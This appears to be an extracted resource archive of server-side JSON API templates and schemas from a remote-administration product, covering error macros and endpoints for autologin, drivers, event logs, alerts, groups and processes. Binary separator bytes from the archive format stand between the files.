			?>{"result": {"code": "500 Internal Server Error", "num": "#WINERRNUM#", "message": "#WINERRMSG#"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro
		
	// ====================================================================================================
	// Error handling macro, generic, gives 400 Bad Request, to be used for parameter checking, etc..
	// ====================================================================================================
	defmacro ERROR(msg)
		debug "Error occurred:"
		debug msg
		
		set status s="400 Bad Request"
		?>{"result": {"code": "400 Bad Request", "message": "#msg#"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
		exit
	endmacro

	// ====================================================================================================
	// Error handling macro, gives 500 Internal Server Error, to be used for more serious failures
	// ====================================================================================================
	defmacro ERROR500(msg)
		debug "Error occurred:"
		debug msg
		
		set status s="500 Internal Server Error"
		?>{"result": {"code": "500 Internal Server Error", "message": "#msg#"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
		exit
	endmacro


	// ====================================================================================================
	// Sends a simpe positive acknowledgement response with short message 
	// ====================================================================================================
	defmacro SENDOK(msg)
		?>{"result": {"code": "ok", "message": "#msg#"}, "lang": []}
<?
		exit
	endmacro


	// ==================================================
	// Request parameter checking
	// ==================================================
	defmacro CHECKREQPARAM(param,values,name,ekey)
		set checkreq.msg = ""
		set checkreq.error = ""
		set checkreq.tmp = "-" param "-"		
		if not param
			// Check for <param>
			set checkreq.msg = "Missing " name "." 
			set checkreq.error = ekey
		elseif values hasnt checkreq.tmp
			// Check for <param> in <values>
			set checkreq.msg = "Bad " name ": " param
			set checkreq.error = ekey
		endif
		if checkreq.msg
			// Following code is: ERROR(checkreq.msg)
			debug "Error occurred:"
			debug msg
			
			set status s="400 Bad Request"
			?>{"result": {"code": "400 Bad Request", "message": "#checkreq.msg#", "error": "#checkreq.error#", "param": "#param#"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro

	defmacro CHECKREQPARAM.OREMPTY(param,values,name,ekey)
		set checkreq.msg = ""
		set checkreq.error = ""
		set checkreq.tmp = "-" param "-"
		if not param
			// We are OK, it can be empty			 
		elseif values hasnt checkreq.tmp
			// Check for <param> in <values>
			set checkreq.msg = "Bad " name ": " param
			set checkreq.error = ekey
		endif
		if checkreq.msg
			// Following code is: ERROR(checkreq.msg)
			debug "Error occurred:"
			debug msg
			
			set status s="400 Bad Request"
			?>{"result": {"code": "400 Bad Request", "message": "#checkreq.msg#", "error": "#checkreq.error#", "param": "#param#"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro

	defmacro CHECKREQPARAM.EXIST(param,name,ekey)
		set checkreq.msg = ""
		set checkreq.error = ""
		if not param
			// Check for <param>
			set checkreq.msg = "Missing " name "." 
			set checkreq.error = ekey
		endif
		if checkreq.msg
			// Following code is: ERROR(checkreq.msg)
			debug "Error occurred:"
			debug msg
			
			set status s="400 Bad Request"
			?>{"result": {"code": "400 Bad Request", "message": "#checkreq.msg#", "error": "#checkreq.error#", "param": "#param#"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro
	

	// ==================================================
	// Comma handling macros
	// ==================================================
	defmacro CommaInit()
		set firstItem = "1"	
	endmacro

	defmacro CommaDo()
		if firstItem == "1"
			set firstItem = "0"
		else
			#"," 
		endif
	endmacro


	// ==================================================
	// Boolean macro
	// ==================================================
	defmacro DISABLED(value)
		if value has "disabled"
			?>true<?
		else
			?>false<?
		endif
	endmacro

	defmacro BOOL(value)
		if value == "1" or value has "checked" or value == "selected" or value == "yes"
			?>true<?
		else
			?>false<?
		endif
	endmacro

	defmacro HAS(string,value)
		if string has value
			?>true<?
		else
			?>false<?
		endif
	endmacro

	// ==================================================
	// Number macro
	// ==================================================
	defmacro NUMBER(value)
		if value
			?>#value#<?
		else
			?>-1<?
		endif
	endmacro
	
	
	// ==================================================
	// Number macro with Zero default value
	// ==================================================
	defmacro ZNUMBER(value)
		if value
			?>#value#<?
		else
			?>0<?
		endif
	endmacro
	

	// ==================================================
	// Formatter macros
	// ==================================================
	defmacro FORMAT.SPNZ(value)
		?>"<?if value?><?#value _spnz?><?endif?>"<?
	endmacro

	defmacro FORMAT.SPN(value)
		?>"<?if value?><?#value _spn?><?endif?>"<?
	endmacro
	
	defmacro FORMAT.AGO(value)
		?>"<?if value?><?#value _ago?><?endif?>"<?
	endmacro
	
	defmacro FORMAT.IN(value)
		?>"<?if value?><?#value _in?><?endif?>"<?
	endmacro
	
	defmacro FORMAT.FOR(value)
		?>"<?if value?><?#value _for?><?endif?>"<?
	endmacro
	
	defmacro FORMAT.DT(value)
		?>"<?if value?><?#value _dt?><?endif?>"<?
	endmacro
	
	defmacro FORMAT.DTS(value)
		?>"<?if value?><?#value _dts?><?endif?>"<?
	endmacro
	
	defmacro FORMAT.DTML(value)
		?>"<?if value?><?#value _dtml?><?endif?>"<?
	endmacro

	defmacro FORMAT.DTMS(value)
		?>"<?if value?><?#value _dtms?><?endif?>"<?
	endmacro

	defmacro FORMAT.SZ(value)
		?>"<?if value?><?#value _sz?><?endif?>"<?
	endmacro

	defmacro FORMAT.SZK(value)
		?>"<?if value?><?#value _szk?><?endif?>"<?
	endmacro

	defmacro FORMAT.SZX(value)
		?>"<?if value?><?#value _szx?><?endif?>"<?
	endmacro

	defmacro FORMAT.SZM(value)
		?>"<?if value?><?#value _szm?><?endif?>"<?
	endmacro

	defmacro FORMAT.MX20(value)
		?>"<?if value?><?#value _mx20?><?endif?>"<?
	endmacro



	// =============================================
	// Logic to determine interface type of RA / LMI
	//
	// @out INTERFACE_TYPE   Can be "full" or "lmi"
	// @out UI               UI type based on settings (session).
	//                       Can be "full" or "secrem" 
	// @out UITYPE           ? (session)
	// =============================================
	
	
	defmacro DETERMINE.UITYPE()
		if BRAND.LOGMEIN.FREE
			// interface forced by free product type
			set session UI = "secrem"
			set session UITYPE = "LMI"
		elseif FORCEUI
			// interface forced by permission settings
			set session UI = "secrem"
			if BRAND.LOGMEIN
				set session UITYPE = "LMI"
			endif
		elseif BRAND.LOGMEIN.IT
			if CFG.Appearance.AdvInterface = "0"
				set session UI = "secrem"
				set session UITYPE = "LMI"
			else
				set session UI = "full"
			endif
		elseif LICENSE.PRODUCT = "secrem"
			// interface forced by license type
			set session UI = "secrem"
		elseif REQ.UI
			set session UI = REQ.UI
			set cookie LASTUI = REQ.UI
		elseif COOKIE.LASTUI
			// no interface specified, take default from cookie
			set session UI = COOKIE.LASTUI
		elseif not UI
			// set default interface
			set session UI = "full"
		endif
	
		// Allow override if LMI PRO customer chooses simplifed interface
		// set LMI Pro UITYPE if user wants to switch back from Admin Toolkit
		if BRAND.LOGMEIN and UI = "secrem"
			set session UITYPE = "LMI"
		endif
	
	
	
	
	
		// Finally, set interface type
		// set main page
		if UITYPE = "LMI" and not UI = "full"
			// Simplified (LMI)
			set INTERFACE.TYPE = "lmi"
		elseif UI = "secrem"
			// Simplified (LMI)
			set INTERFACE.TYPE = "lmi"
		else
			// Full (RA / LMI PRO)
			set INTERFACE.TYPE = "full"
	
			set session UITYPE = ""
		endif
	endmacro
?>
t4api\compman\autologin.jsonE1<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	
	if REQ.HTTPMETHOD == "PUT"	
		set REQ.SUBMIT = "1"
		set REQ.ENABLE = "1"		
	elseif REQ.HTTPMETHOD == "DELETE"	
		set REQ.SUBMIT = "1"
		set REQ.ENABLE = ""		
	else
		set REQ.SUBMIT = ""
		set REQ.ENABLE = ""			
	endif
	
	action "autologin"	
	usemacro ERRORHANDLER()

?>{"result": {

	"enabled": <?usemacro BOOL(AAL.ENABLE)?>,
	"user": "#AAL.USER#",
	"pass": "#AAL.PASS#",
	"domain": "#AAL.DOMAIN#"
					
},
"lang":{}
}٢U8api\compman\autologin.schema{
	"result": {

		"enabled": { "_type": "bool" },
		"user": { "_type": "string" },
		"pass": { "_type": "string" },
		"domain": { "_type": "string" }
		
	},
	"lang": {}
}S0api\compman\drivers.jsonD<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for sort parameter
	if not REQ.SORT
		set REQ.SORT = "na"
	endif

	// list the drivers
	action "svclist" REQ.WHAT = "drv"	
	usemacro ERRORHANDLER()

?>{"result": {

	"drivers": [
	    <?if SERVICES
	    	usemacro CommaInit()
			enum SERVICES
				usemacro CommaDo()?>
				{					    
					"name": "#SERVICE.NAME#",
					"display": "#SERVICE.DISPLAY#",
					"type": "#SERVICE.TYPE#",
					"what": "#SERVICE.WHAT#",
					"user": "#SERVICE.USER#",
					"object": "#SERVICE.OBJECT#",
					"interactive": <?usemacro BOOL(SERVICE.INTERACTIVE)?>,
					"start": "#SERVICE.START#",
					"status": "#SERVICE.STATUS#",
					"errctrl": "#SERVICE.ERRCTL#",
					"accept": "#SERVICE.ACCEPT#",
					"procid": <?usemacro NUMBER(SERVICE.PROCID)?>,
					"path": "#SERVICE.PATH#",
					"descr": "#SERVICE.DESCR#",
					"group": "#SERVICE.GROUP#"
				}
			<?next
		endif?>		
	],
	
	"pageinfo": [
		{				
			"count": <?usemacro NUMBER(PAGE.COUNT)?>,
			"home": <?usemacro NUMBER(PAGE.HOME)?>,
			"prev": <?usemacro NUMBER(PAGE.PREV)?>,
			"next": <?usemacro NUMBER(PAGE.NEXT)?>,
			"last": <?usemacro NUMBER(PAGE.LAST)?>,
			"current": <?usemacro NUMBER(PAGE.CURRENT)?>
		}
	],
	
	"pages": [<?			
		usemacro CommaInit()
		enum PAGES 
			usemacro CommaDo()?>
			{				
				"idx": <?usemacro NUMBER(PAGE.IDX)?>,
				"num": <?usemacro NUMBER(PAGE.NUM)?>,
				"str": "#PAGE.STR#"
			}
		<? next	?>							
	]
		
},
"lang":{}
}ۤ4api\compman\drivers.schemai{
	"result": {

		"drivers": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"display": { "_type": "string" },
				"type": { "_type": "string" },
				"what": { "_type": "string" },
				"user": { "_type": "string" },
				"object": { "_type": "string" },
				"interactive": { "_type": "bool" },
				"start": { "_type": "string" },
				"status": { "_type": "string" },
				"errctrl": { "_type": "string" },
				"accept": { "_type": "string" },
				"procid": { "_type": "number" },
				"path": { "_type": "string" },
				"descr": { "_type": "string", "required": false },
				"group": { "_type": "string", "required": false }
			}
		},
			
		"pageinfo": {
			"_type": "array",
			"_element": {
				"count": { "_type": "number" },
				"home": { "_type": "number" },
				"prev": { "_type": "number" },
				"next": { "_type": "number" },
				"last": { "_type": "number" },
				"current": { "_type": "number" }
			}
		},
		
		"pages": {
			"_type": "array",
			"_element": {
				"idx": { "_type": "number" },
				"num": { "_type": "number" },
				"str": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
½t`8api\compman\emailalerts.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	
	if REQ.HTTPMETHOD == "POST"
	
		// create alert
		action "alertadd"	
		usemacro ERRORHANDLER()	
	
	elseif REQ.HTTPMETHOD == "PUT"
	
		// modify alert
		if not REQ.ALERTID
			usemacro ERROR("Missing alert id.")
		endif
		
		action "alertset"	
		usemacro ERRORHANDLER()	
	
	elseif REQ.HTTPMETHOD == "DELETE"
	
		// delete alert
		if not REQ.ALERTID
			usemacro ERROR("Missing alert id.")
		endif
		
		action "alertdel"			
		usemacro ERRORHANDLER()
			
	endif
	
	// list the alerts
	action "alertlist"	
	usemacro ERRORHANDLER()
	action "cfgnet"
	usemacro ERRORHANDLER()

?>{"result": {

	"smtpserver": "#SmtpServer#",
	"alerts": [
	    <?if ALERTS
	    	usemacro CommaInit()
			enum ALERTS
				usemacro CommaDo()?>
				{					    
					"alertid": "#ALERT.ID#",
					"enable": <?usemacro BOOL(ALERT.ENABLE)?>,
					"evtlog": "#ALERT.EVTLOG#",
					"evttype": <?usemacro NUMBER(ALERT.EVTTYPEN)?>,
					"evtsrc": "#ALERT.EVTSRC#",
					"evtcat": "#ALERT.EVTCAT#",
					"evtid": <?usemacro NUMBER(ALERT.EVTID)?>,
					"email": "#ALERT.EMAIL#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}
u<api\compman\emailalerts.schemaߊ{
	"result": {

		"alerts": {
			"_type": "array",
			"_element": {
				"alertid": { "_type": "string" },
				"enable": { "_type": "bool" },
				"evtlog": { "_type": "string" },
				"evttype": { "_type": "number" },
				"evtsrc": { "_type": "string" },
				"evtcat": { "_type": "string" },
				"evtid": { "_type": "number" },
				"email": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
M+,api\compman\event.jsonv-<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for parameters
	usemacro CHECKREQPARAM.EXIST(REQ.LOG,"Log name","LOGNAME");
	usemacro CHECKREQPARAM.EXIST(REQ.IDX,"Index","INDEX");

	action "evtinfo" 
	usemacro ERRORHANDLER()

?>{"result": {

	"index": <?usemacro NUMBER(EVENT.INDEX)?>,
	"id": <?usemacro NUMBER(EVENT.ID)?>,
	"recordid": <?usemacro NUMBER(EVENT.RECORDID)?>,
	"type": "#EVENT.TYPE#",
	"time": "#EVENT.TIME#",
	"logged": "#EVENT.LOGGED#",
	"source": "#EVENT.SOURCE#",
	"computer": "#EVENT.COMPUTER#",
	"user": "#EVENT.USER#",					
	"category": "#EVENT.CATEGORY#",
	"message": "#EVENT.MESSAGE#",
	"message_preformatted": "#EVENT.MESSAGE.PRE#",
	"prev": <?usemacro NUMBER(EVENT.PREV)?>,
	"next": <?usemacro NUMBER(EVENT.NEXT)?>
						
},
"lang":{}
}
	'0api\compman\event.schema$XT{
	"result": {
		"index": { "_type": "number" },
		"id": { "_type": "number" },
		"recordid": { "_type": "number" },
		"type": { "_type": "string" },
		"time": { "_type": "string" },
		"logged": { "_type": "string" },
		"source": { "_type": "string" },
		"computer": { "_type": "string" },
		"user": { "_type": "string" },
		"category": { "_type": "string" },
		"message": { "_type": "string" },
		"message_preformatted": { "_type": "string" },
		"prev": { "_type": "number" },
		"next": { "_type": "number" },
	},
	"lang": {}
}
‹9.api\compman\events.jsonCɋ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for event log name parameter
	usemacro CHECKREQPARAM.EXIST(REQ.LOG,"Log name","LOGNAME");

	// list the log entries
	action "evtdump" REQ.DEEP="0"
	usemacro ERRORHANDLER()

?>{"result": {

	"newest" : <?usemacro NUMBER(EVENTS.NEWEST)?>, 
	"oldest" : <?usemacro NUMBER(EVENTS.OLDEST)?>, 

	"events": [
	    <?if EVENTS
	    	usemacro CommaInit()
			enum EVENTS
				usemacro CommaDo()?>
				{					    
					"index": <?usemacro NUMBER(EVENT.INDEX)?>,
					"id": <?usemacro NUMBER(EVENT.ID)?>,
					"recordid": <?usemacro NUMBER(EVENT.RECORDID)?>,
					"type": "#EVENT.TYPE#",
					"time": "<?#EVENT.TIME_dtms?>",
					"logged": "#EVENT.LOGGED#",
					"source": "#EVENT.SOURCE#",
					"computer": "#EVENT.COMPUTER#",
					"user": "#EVENT.USER#"
				}
			<?next
		endif?>		
	],
	
	"pageinfo": [
		{				
			"count": <?usemacro NUMBER(PAGE.COUNT)?>,
			"home": <?usemacro NUMBER(PAGE.HOME)?>,
			"prev": <?usemacro NUMBER(PAGE.PREV)?>,
			"next": <?usemacro NUMBER(PAGE.NEXT)?>,
			"last": <?usemacro NUMBER(PAGE.LAST)?>,
			"current": <?usemacro NUMBER(PAGE.CURRENT)?>
		}
	],
	
	"pages": [<? 
		if PAGES		
			usemacro CommaInit()
			enum PAGES 
				usemacro CommaDo()?>
				{				
					"idx": <?usemacro NUMBER(PAGE.IDX)?>
				}
			<?next	
		endif?>							
	]
		
},
"lang":{}
}
2X^2api\compman\events.schemaF{
	"result": {

		"newest" : { "_type": "number" }, 
		"oldest" : { "_type": "number" },
		 
		"events": {
			"_type": "array",
			"_element": {
				"index": { "_type": "number" },
				"id": { "_type": "number" },
				"recordid": { "_type": "number" },
				"type": { "_type": "string" },
				"time": { "_type": "string" },
				"logged": { "_type": "string" },
				"source": { "_type": "string" },
				"computer": { "_type": "string" },
				"user": { "_type": "string" }
			}
		},
			
		"pageinfo": {
			"_type": "array",
			"_element": {
				"count": { "_type": "number" },
				"home": { "_type": "number" },
				"prev": { "_type": "number" },
				"next": { "_type": "number" },
				"last": { "_type": "number" },
				"current": { "_type": "number" }
			}
		},
		
		"pages": {
			"_type": "array",
			"_element": {
				"idx": { "_type": "number" }
			}
		}
		
	},
	"lang": {}
}
MB4api\compman\evtfilter.jsonЌ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for actions
	if REQ.HTTPMETHOD == "DELETE"
		// Delete filter
		if not REQ.FILTERID
			usemacro ERROR("Missing filter id.")
		endif
		// Parameters: REQ.FILTERID
		action "evtfilterdel"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "PUT"
		// Modify filter
		if not REQ.FILTERID or not REQ.EVTTYPE or not REQ.EVTLOG or not REQ.EVTSRC or not REQ.EVTID
			usemacro ERROR("Missing parameters for event filter.")
		endif
		action "evtfilterset"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "POST"
		// Create filter
		if not REQ.EVTTYPE or not REQ.EVTLOG or not REQ.EVTSRC or not REQ.EVTID
			usemacro ERROR("Missing parameters for event filter.")
		endif
		action "evtfilteradd"
		usemacro ERRORHANDLER()
	endif
	
	
	// list the event filters
	action "evtfilterlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"filters": [
	    <?if FILTERS
	    	usemacro CommaInit()
			enum FILTERS
				usemacro CommaDo()?>
				{					    
					"filterid": "#FILTER.ID#",
					"appliesto": <?usemacro NUMBER(FILTER.APPLIESTO)?>,
					"evtlog": "#FILTER.EVTLOG#",
					"evttype": "#FILTER.EVTTYPEN#",
					"evtsrc": "#FILTER.EVTSRC#",
					"evtid": <?usemacro NUMBER(FILTER.EVTID)?>
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}A+8api\compman\evtfilter.schemao{
	"result": {

		"filters": {
			"_type": "array",
			"_element": {
				"filterid": { "_type": "string", "_notempty": true },
				"appliesto": { "_type": "number" },
				"evtlog": { "_type": "string" },
				"evttype": { "_type": "string" },
				"evtsrc": { "_type": "string" },
				"evtid": { "_type": "number" }
			}
		}
		
	},
	"lang": {}
}
					Hk0api\compman\evtlogs.jsonڌ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for clear action
	if REQ.HTTPMETHOD == "DELETE"
		if not REQ.LOG
			usemacro ERROR("Missing log name.")
		endif
		// Parameters: REQ.LOG, REQ.BAK
		action "evtclear"
	endif
	
	// list the event logs
	action "evtlogs"	
	usemacro ERRORHANDLER()

?>{"result": {

	"evtlogs": [
	    <?if EVTLOGS
	    	usemacro CommaInit()
			enum EVTLOGS
				usemacro CommaDo()?>
				{					    
					"name": "#EVTLOG.NAME#",
					"display": "#EVTLOG.DISP#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}V4api\compman\evtlogs.schemaO{
	"result": {

		"evtlogs": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"display": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
.r0api\compman\ggroups.json4w<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// list the global groups
	action "userlist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"ggroups": [
	    <?if GGROUPS
	    	usemacro CommaInit()
			enum GGROUPS
				usemacro CommaDo()?>
				{					    
					"name": "#GGROUP.NAME#",
					"comment": "#GGROUP.COMMENT#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}O4api\compman\ggroups.schema<{
	"result": {

		"ggroups": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"comment": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
ph,api\compman\group.jsonY)ō<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for name
	usemacro CHECKREQPARAM.EXIST(REQ.NAME,"group name","ADMIN.USERMANAGER.GROUP.NAME")

	if not REQ.TYPE
		set REQ.TYPE = "local"
	endif
	
	if REQ.HTTPMETHOD == "GET"
	
		set REQ.OP = ""
		
	elseif REQ.HTTPMETHOD == "PUT"
		
		// rename
		if REQ.NEWNAME
			set REQ.OP = "rename"
			action "useredit"
			usemacro ERRORHANDLER()
			set REQ.NAME = REQ.NEWNAME
		endif
		 
		set REQ.OP = "update"
		
	elseif REQ.HTTPMETHOD == "POST"
	 
		set REQ.OP = "add"
		
	elseif REQ.HTTPMETHOD == "DELETE"
	
		set REQ.OP = "delete"
		
	endif
	 
	// groupedit action
	action "groupedit"
	usemacro ERRORHANDLER()

?>{"result": {

	"group": {
		"name": "#NAME#",
		"type": "#TYPE#",
		"comment": "#COMMENT#"		
	},
	
	"members": [
	    <?if MEMBERS
	    	usemacro CommaInit()
			enum MEMBERS
				usemacro CommaDo()?>
				{					    
					"name": "#MEMBER.NAME#",
					"type": "#MEMBER.TYPE#"
				}
			<?next
		endif?>		
	],
	"nonmembers": [
	    <?if NONMEMBERS
	    	usemacro CommaInit()
			enum NONMEMBERS
				usemacro CommaDo()?>
				{					    
					"name": "#NONMEMBER.NAME#",
					"type": "#NONMEMBER.TYPE#"
				}
			<?next
		endif?>		
	]
	
		
},
"lang":{}
}
<X
o0api\compman\group.schema?:{
	"result": {

		"group": {
			"name": { "_type": "string" },
			"type": { "_type": "string" },
			"comment": { "_type": "string" }
		},		
		"members": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"type": { "_type": "string" }
			}
		},
		"nonmembers": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"type": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
S.api\compman\groups.jsonɯ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// list the groups
	action "userlist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"groups": [
	    <?if GROUPS
	    	usemacro CommaInit()
			enum GROUPS
				usemacro CommaDo()?>
				{					    
					"name": "#GROUP.NAME#",
					"comment": "#GROUP.COMMENT#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}˺2api\compman\groups.schema֎{
	"result": {

		"groups": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"comment": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
G<0api\compman\process.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// First check for process update
	if REQ.HTTPMETHOD == "PUT"
	
		// update process priority
		if not REQ.PID
			usemacro ERROR("Missing process id.")
		elseif not REQ.PRIORITY
			usemacro ERROR("Missing process priority.")
		endif
		
		action "procupd"
		usemacro ERRORHANDLER()
	
	elseif REQ.HTTPMETHOD == "DELETE"
	
		// kill process 
		if not REQ.PID
			usemacro ERROR("Missing process id.")
		endif
		
		action "prockill"
		usemacro ERRORHANDLER()
		
	endif
	
	// Check for process id
	if not REQ.PID
		usemacro ERROR("Missing process id.")
	endif
	
	// process details
	action "procinfo"	
	usemacro ERRORHANDLER()

?>{"result": {

	"process": {
		"id": <?usemacro NUMBER(PROC.ID)?>,
		"parent": <?usemacro NUMBER(PROC.PARENT)?>,
		"threads": <?usemacro NUMBER(PROC.THREADS)?>,
		"handles": <?usemacro NUMBER(PROC.HANDLES)?>,
		"depth": <?usemacro NUMBER(PROC.DEPTH)?>,
		"path": "#PROC.PATH#",
		"name": "#PROC.NAME#",
		"cpup": <?usemacro NUMBER(PROC.CPUP)?>,
		"ver": "#PROC.VER#",
		"desc": "#PROC.DESC#",
		"type": "#PROC.TYPE#",
		"user": "#PROC.USER#",
		"priority": <?usemacro NUMBER(PROC.PRIORITY)?>,
		"memory": <?usemacro NUMBER(PROC.MEMORY)?>,
		"memoryp": <?usemacro NUMBER(PROC.MEMORYP)?>,
		"pgfaults": <?usemacro NUMBER(PROC.PGFAULTS)?>,
		"wkset": <?usemacro NUMBER(PROC.WKSET)?>,
		"wksetmax": <?usemacro NUMBER(PROC.WKSETMAX)?>,
		"swap": <?usemacro NUMBER(PROC.SWAP)?>,
		"swapmax": <?usemacro NUMBER(PROC.SWAPMAX)?>,
		"timec": "#PROC.TIMEC#",
		"timek": <?usemacro NUMBER(PROC.TIMEK)?>,
		"timeu": <?usemacro NUMBER(PROC.TIMEU)?>,
		"time": <?usemacro NUMBER(PROC.TIME)?>,				
		"cmdline": "#PROC.CMDLINE#",
		"workdir": "#PROC.WORKDIR#",		
		"parent_id": <?usemacro NUMBER(PROC.PARENT.ID)?>,
		"parent_name": "#PARENT.NAME#",
		"parent_path": "#PARENT.PATH#"
	},
	
	"windows": [
	    <?if WINDOWS
	    	usemacro CommaInit()
			enum WINDOWS
				usemacro CommaDo()?>
				{					    
					"thread": "#WINDOW.THREAD#",
					"title": "#WINDOW.TITLE#",
					"visible": <?usemacro BOOL(WINDOW.VISIBLE)?>
				}
			<?next
		endif?>		
	],

	"dlls": [
	    <?if DLLS
	    	usemacro CommaInit()
			enum DLLS
				usemacro CommaDo()?>
				{					    
					"name": "#DLL.NAME#",
					"path": "#DLL.PATH#",
					"version": "#DLL.VERSION#",
					"desc": "#DLL.DESC#",
					"base": "#DLL.BASE#",
					"size": "#DLL.SIZE#"
				}
			<?next
		endif?>		
	],

	"services": [
	    <?if SERVICES
	    	usemacro CommaInit()
			enum SERVICES
				usemacro CommaDo()?>
				{					    
					"name": "#SERVICE.NAME#",
					"display": "#SERVICE.DISPLAY#",
					"type": "#SERVICE.TYPE#",
					"what": "#SERVICE.WHAT#",
					"user": "#SERVICE.USER#",
					"interactive": <?usemacro BOOL(SERVICE.INTERACTIVE)?>,
					"start": "#SERVICE.START#",
					"status": "#SERVICE.STATUS#",
					"errctrl": "#SERVICE.ERRCTL#",
					"accept": "#SERVICE.ACCEPT#",
					"procid": <?usemacro NUMBER(SERVICE.PROCID)?>,
					"path": "#SERVICE.PATH#",
					"descr": "#SERVICE.DESCR#",
					"group": "#SERVICE.GROUP#"
				}
			<?next
		endif?>		
	],

	"threads": [
	    <?if THREADS
	    	usemacro CommaInit()
			enum THREADS
				usemacro CommaDo()?>
				{					    
					"id": <?usemacro NUMBER(THREAD.ID)?>,
					"started": "#THREAD.STARTED#",
					"stopped": "#THREAD.STOPPED#",
					"priority": <?usemacro NUMBER(THREAD.PRIORITY)?>,
					"base": <?usemacro NUMBER(THREAD.BASE)?>,
					"state": "#THREAD.STATE#",
					"wait": "#THREAD.WAIT#",
					"time": <?usemacro FORMAT.SPNZ(THREAD.TIME)?>,
					"timek": <?usemacro FORMAT.SPNZ(THREAD.TIMEK)?>,
					"timeu": <?usemacro FORMAT.SPNZ(THREAD.TIMEU)?>,
					"user": "#THREAD.USER#"
				}
			<?next
		endif?>		
	],

	"priorities": [
	    <?if PRIORITIES
	    	usemacro CommaInit()
	    	enum PRIORITIES
	    		usemacro CommaDo()?>
	    		{
					"name": "#PRIORITY.NAME#",
					"value": <?usemacro NUMBER(PRIORITY.VALUE)?>
	    		}
	    	<?next
	    endif?>
	],
	
	"openfiles": [
	    <?
	    action "objlistfile"
	    usemacro ERRORHANDLER()
	    
	    if OBJECTS
	    	usemacro CommaInit()
	    	enum OBJECTS
	    		usemacro CommaDo()?>
	    		{
					"name": "#OBJECT.NAME#"
	    		}
	    	<?next
	    endif?>
	],
	
	"regkeys": [
	    <?
	    action "objlistreg"
	    usemacro ERRORHANDLER()
	    
	    if OBJECTS
	    	usemacro CommaInit()
	    	enum OBJECTS
	    		usemacro CommaDo()?>
	    		{
					"name": "#OBJECT.NAME#"
	    		}
	    	<?next
	    endif?>
	]
	
		
},
"lang":{}
}Z4api\compman\process.schema'{
	"result": {

		"process": {
			"id": { "_type": "number" },
			"parent": { "_type": "number" },
			"threads": { "_type": "number" },
			"handles": { "_type": "number" },
			"depth": { "_type": "number" },
			"path": { "_type": "string" },
			"name": { "_type": "string" },
			"cpup": { "_type": "number" },
			"ver": { "_type": "string" },
			"desc": { "_type": "string" },
			"type": { "_type": "string" },
			"user": { "_type": "string" },
			"priority": { "_type": "number" },
			"memory": { "_type": "number" },
			"memoryp": { "_type": "number" },
			"pgfaults": { "_type": "number" },
			"wkset": { "_type": "number" },
			"wksetmax": { "_type": "number" },
			"swap": { "_type": "number" },
			"swapmax": { "_type": "number" },
			"timec": { "_type": "string" },
			"timek": { "_type": "number" },
			"timeu": { "_type": "number" },
			"time": { "_type": "number" },
			"cmdline": { "_type": "string" },
			"workdir": { "_type": "string" },
			"parent_id": { "_type": "number" },
			"parent_name": { "_type": "string" },
